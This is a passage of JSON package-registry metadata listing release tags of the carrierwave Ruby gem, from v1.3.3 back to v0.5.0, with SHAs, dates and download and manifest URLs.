at":"2023-02-02T10:40:51.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.3.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.3/manifests"},{"name":"v2.2.3","sha":"baf5df7d9acea95f46eaea456743241ef3d644f5","kind":"tag","published_at":"2022-11-21T09:10:29.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.3/manifests"},{"name":"v3.0.0.beta","sha":"6cb797aca9aaaf2e12257ced4f4709fbdafaff7c","kind":"tag","published_at":"2022-11-19T10:19:08.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.0.beta","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.0.beta","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.0.beta","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.0.beta","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.0.beta/manifests"},{"name":"v2.2.2","sha":"32abf5b2caf7baa8fca74324009bc1fe1acbed14","kind":"tag","published_at":"2021-05-28T10:09:04.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.2/manifests"},{"name":"v2.2.1","sha":"2dba2c1a45f3a8a4ac3e6abef3151dc2d8b9d641","kind":"tag","published_at":"2021-03-30T03:43:15.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.1/manifests"},{"name":"v2.2.0","sha":"13330a70323cde83b319520f5c1874227de79cdf","kind":"tag","published_at":"2021-02-23T08:00:28.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.0/manifests"},{"name":"v2.1.1","sha":"003e2ceeaa856f2605cf8096b401e76168ffc8ba","kind":"tag","published_at":"2021-02-08T04:52:04.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.1.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.1.1/manifests"},{"name":"v1.3.2","sha":"56f39b23d16431a79faf8e361d4ee08238db2f66","kind":"tag","published_at":"2021-02-08T04:29:33.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.3.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.2/manifests"},{"name":"v2.1.0","sha":"3356634d80d372c458030460978c3b63c006e042","kind":"tag","published_at":"2020-02-16T09:11:07.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.1.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.1.0/manifests"},{"name":"v2.0.2","sha":"f81bb4d90c610c4e5d68c2057ab977620d7089a1","kind":"tag","published_at":"2019-09-28T05:10:56.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.0.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.2/manifests"},{"name":"v2.0.1","sha":"e1c3eea981ad3963bf5bf5af586286abd1252caa","kind":"tag","published_at":"2019-08-31T03:41:02.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.0.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.1/manifests"},{"name":"v2.0.0","sha":"96a0b03c415f816d39f539126759f2278ce36c74","kind":"tag","published_at":"2019-08-18T04:29:55.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.0.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.0/manifests"},{"name":"v2.0.0.rc","sha":"0e8742be085410f1e08ef9f42c717267100d92e9","kind":"tag","published_at":"2019-06-23T08:23:34.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.0.0.rc","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.0.0.rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.0.0.rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.0.rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.0.rc/manifests"},{"name":"v1.3.1","sha":"9d17a443d39ddf0c44bac985f69bf4c94d923a16","kind":"tag","published_at":"2018-12-29T09:55:27.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.3.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.1/manifests"},{"name":"v1.3.0","sha":"930abb7b2043999b1648ba1c2274585ccaf014e4","kind":"tag","published_at":"2018-12-24T10:23:59.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.3.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.0/manifests"},{"name":"v1.2.3","sha":"61c3ba833e7d0f06da40c7672d9de1694d5f2cbc","kind":"tag","published_at":"2018-06-30T07:29:28.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.2.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.3/manifests"},{"name":"v1.2.2","sha":"9ffd67e4c443d4ab750352ad7470301908f4fdfb","kind":"tag","published_at":"2018-01-02T09:20:46.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.2.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.2/manifests"},{"name":"v1.2.1","sha":"32519e0df2739d82dfd89e6ca206da41346bb47d","kind":"tag","published_at":"2017-10-04T01:49:47.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.2.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.1/manifests"},{"name":"v1.2.0","sha":"63b9396960d7bbaa41f642c9ccd5519218c61103","kind":"tag","published_at":"2017-09-30T08:58:00.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.2.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.0/manifests"},{"name":"v1.1.0","sha":"07dc4d7bd7806ab4b963cf8acbad73d97cdfe74e","kind":"tag","published_at":"2017-04-30T06:05:05.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.1.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.1.0/manifests"},{"name":"v1.0.0","sha":"9a9c954a67e27b63b1cbef5e112ebe3542d1584b","kind":"tag","published_at":"2016-12-24T05:21:56.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.0.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.0.0/manifests"},{"name":"v1.0.0.rc","sha":"1d2f26428fe944977a91fe5fdf2fb033d5a13239","kind":"tag","published_at":"2016-10-30T10:06:19.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.0.0.rc","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.0.0.rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.0.0.rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.0.0.rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.0.0.rc/manifests"},{"name":"v1.0.0.beta","sha":"c45699c318ca895f89fa3304204e48b5f1c411f1","kind":"tag","published_at":"2016-09-08T05:03:31.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.0.0.beta","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.0.0.beta","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.0.0.beta","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.0.0.beta","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.0.0.beta/manifests"},{"name":"v0.11.2","sha":"57923136a0a1fe55ab82875b8a3786194a3b2500","kind":"tag","published_at":"2016-05-06T15:15:36.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.11.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.11.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.11.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.11.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.11.2/manifests"},{"name":"v0.11.1","sha":"5837d6164017a2a274a03e5c170f3c0d62aac82f","kind":"tag","published_at":"2016-05-05T11:14:59.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.11.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.11.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.11.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.11.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.11.1/manifests"},{"name":"v0.11.0","sha":"0575791f77fe1c1f0d84de61eed07d0969d56505","kind":"tag","published_at":"2016-03-29T12:33:44.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.11.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.11.0/manifests"},{"name":"v0.10.0","sha":"3a0978a390de9d96d05e5befc40b2fabc27644cc","kind":"commit","published_at":"2014-02-26T23:07:47.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.10.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.10.0/manifests"},{"name":"v0.9.0","sha":"2e3881c400ced3a5ad6e3c4ffdc5fcf8c1ae32de","kind":"commit","published_at":"2013-07-06T22:01:10.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.9.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.9.0/manifests"},{"name":"v0.8.0","sha":"e28e64460e81524357b5c786a259eb4dd87a95e6","kind":"commit","published_at":"2013-01-08T16:16:47.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.8.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.8.0/manifests"},{"name":"v0.7.1","sha":"745db6e26f47adca3a28c93170b22216b5480f9a","kind":"commit","published_at":"2012-11-08T21:14:58.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.7.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.7.1/manifests"},{"name":"v0.7.0","sha":"1bc66f66a0adad864985e76db007b7eacca0fb21","kind":"commit","published_at":"2012-10-19T20:29:49.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.7.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.7.0/manifests"},{"name":"v0.6.2","sha":"5ee108128b40f2067c23971884a0ebf53213c860","kind":"commit","published_at":"2012-04-13T03:34:21.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.6.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.6.2/manifests"},{"name":"v0.6.1","sha":"9c6826394506bf41c94a30e41657a047bb099251","kind":"commit","published_at":"2012-04-03T00:51:41.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.6.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.6.1/manifests"},{"name":"v0.6.0","sha":"34aa12e9c6937cf0cdf9d447edccc6e25b9cbe6e","kind":"commit","published_at":"2012-03-27T20:37:03.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.6.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.6.0/manifests"},{"name":"v0.5.8","sha":"a0f8810996d43e005972a70b5715f0f7b2f4f132","kind":"tag","published_at":"2011-11-10T21:54:12.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.8","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.8/manifests"},{"name":"v0.5.7","sha":"661990936c3f498b850135c082da1d4f1f919172","kind":"tag","published_at":"2011-08-12T14:33:03.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.7","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.7/manifests"},{"name":"v0.5.6","sha":"2b91dc48bf46ad2a89ef0a3a7261f0b292c20d2f","kind":"tag","published_at":"2011-07-12T16:06:16.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.6","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.6/manifests"},{"name":"v0.5.5","sha":"0cfca5cf8e85663369dcb019a163e363bc370974","kind":"tag","published_at":"2011-07-09T15:44:58.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.5","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.5/manifests"},{"name":"v0.5.4","sha":"0436546b387690229324ff72ee41e64056b9fff3","kind":"tag","published_at":"2011-05-18T20:48:39.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.4","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.4/manifests"},{"name":"v0.5.3","sha":"4247285b33897d7b1f528ac8fddbb0e15bb9de97","kind":"tag","published_at":"2011-03-22T11:11:58.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.3/manifests"},{"name":"v0.5.2","sha":"e5ac58d715c4322eb5e37f9bea135f35009f68b0","kind":"tag","published_at":"2011-02-18T11:10:25.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.2/manifests"},{"name":"v0.5.1","sha":"85ddee1014806dd4ccea7d122fe23d14f0adc43e","kind":"commit","published_at":"2010-12-01T00:43:34.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.1/manifests"},{"name":"v0.5.0","sha":"7157a0ed628808225744b25798